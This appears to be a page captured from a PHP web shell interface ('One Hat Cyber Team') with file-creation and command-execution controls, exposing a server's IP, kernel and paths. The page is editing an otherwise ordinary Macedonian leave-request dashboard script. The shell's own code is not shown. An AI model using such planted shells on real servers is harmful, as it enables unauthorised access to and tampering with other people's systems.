⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.70
Server IP:
209.74.65.82
Server:
Linux 209-74-65-82.cprapid.com 5.14.0-427.42.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Nov 1 14:58:02 EDT 2024 x86_64
PHP Version:
8.1.34
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
ivsoxidh
/
system.ivsoftdesign.mk
/
Edit File: user_dashboard.php
<?php require_once __DIR__ . '/auth.php'; require_once __DIR__ . '/functions.php'; $user = find_user($_SESSION['user']['id']); $year = (int)($_GET['year'] ?? date('Y')); $month = (int)($_GET['month'] ?? date('n')); $msg = $err = null; if ($_SERVER['REQUEST_METHOD'] === 'POST' && ($_POST['action'] ?? '') === 'request') { $start = $_POST['start_date'] ?? ''; $end = $_POST['end_date'] ?? ''; $reason= trim($_POST['reason'] ?? ''); $res = add_leave_request($user['id'], $start, $end, $reason); if ($res['ok']) $msg = $res['msg']; else $err = $res['msg']; } $taken = leave_count_in_year($user['id'], $year); $remaining = max(0, MAX_LEAVE_DAYS_PER_YEAR - $taken); include __DIR__ . '/partials/header.php'; ?> <div class="row g-4"> <div class="col-lg-4"> <div class="card shadow-sm"> <div class="card-body"> <h2 class="h5">Мој статус (<?= (int)$year ?>)</h2> <div class="d-flex gap-3 my-3"> <div class="p-3 bg-light rounded flex-fill text-center"> <div class="small text-secondary">Земени</div> <div class="display-6"><?= (int)$taken ?></div> </div> <div class="p-3 bg-light rounded flex-fill text-center"> <div class="small text-secondary">Преостанати</div> <div class="display-6"><?= (int)$remaining ?></div> </div> </div> <hr> <h3 class="h6">Ново барање (опсег)</h3> <?php if ($msg): ?><div class="alert alert-success py-2"><?= htmlspecialchars($msg) ?></div><?php endif; ?> <?php if ($err): ?><div class="alert alert-danger py-2"><?= htmlspecialchars($err) ?></div><?php endif; ?> <form method="post"> <input type="hidden" name="action" value="request"> <div class="mb-2"> <label class="form-label">Од датум</label> <input type="date" name="start_date" class="form-control" required> </div> <div class="mb-2"> <label class="form-label">До датум</label> <input type="date" name="end_date" class="form-control" required> </div> <div class="mb-2"> <label class="form-label">Причина (опционално)</label> <input type="text" name="reason" class="form-control" placeholder="пр. возачка дозвола"> </div> <button class="btn btn-primary w-100 mt-2">Прати барање</button> </form> </div> </div> <div class="card shadow-sm mt-3"> <div class="card-body"> <h2 class="h6">Мои барања</h2> <table class="table table-sm"> <thead><tr><th>Период</th><th>Статус</th><th>Причина</th></tr></thead> <tbody> <?php $reqs = $pdo->prepare("SELECT * FROM leave_requests WHERE user_id=? ORDER BY created_at DESC"); $reqs->execute([$user['id']]); foreach ($reqs->fetchAll() as $r): ?> <tr> <td><?= htmlspecialchars($r['start_date'].' → '.$r['end_date']) ?></td> <td> <?php if ($r['status']=='pending'): ?><span class="badge bg-warning text-dark">Pending</span> <?php elseif ($r['status']=='approved'): ?><span class="badge bg-success">Approved</span> <?php else: ?><span class="badge bg-danger">Rejected</span><?php endif; ?> </td> <td><?= htmlspecialchars($r['reason'] ?? '') ?></td> </tr> <?php endforeach; ?> </tbody> </table> </div> </div> </div> <div class="col-lg-8"> <div class="card shadow-sm mb-3"> <div class="card-body"> <form class="row g-2 align-items-end" method="get"> <div class="col-auto"> <label class="form-label">Месец</label> <select name="month" class="form-select"> <?php for($m=1;$m<=12;$m++): ?> <option value="<?= $m ?>" <?= $m==$month?'selected':'' ?>><?= $m ?></option> <?php endfor; ?> </select> </div> <div class="col-auto"> <label class="form-label">Година</label> <input type="number" name="year" class="form-control" value="<?= (int)$year ?>"> </div> <div class="col-auto"> <button class="btn btn-outline-primary">Прикажи</button> </div> </form> </div> </div> <div class="card shadow-sm"> <div class="card-body"> <h2 class="h5 mb-3">Календар</h2> <?php render_calendar($month, $year, $user['id']); ?> </div> </div> <div class="card shadow-sm mt-3"> <div class="card-body"> <h2 class="h6 mb-3">Мои одобрени денови</h2> <table class="table table-sm align-middle"> <thead><tr><th>Датум</th><th>Причина</th></tr></thead> <tbody> <?php $rows = leave_days_between($user['id'], "$year-01-01", "$year-12-31"); foreach ($rows as $r): ?> <tr><td><?= htmlspecialchars($r['date']) ?></td><td><?= htmlspecialchars($r['reason'] ?? '') ?></td></tr> <?php endforeach; ?> </tbody> </table> </div> </div> </div> </div> <?php include __DIR__ . '/partials/footer.php'; ?>
Simpan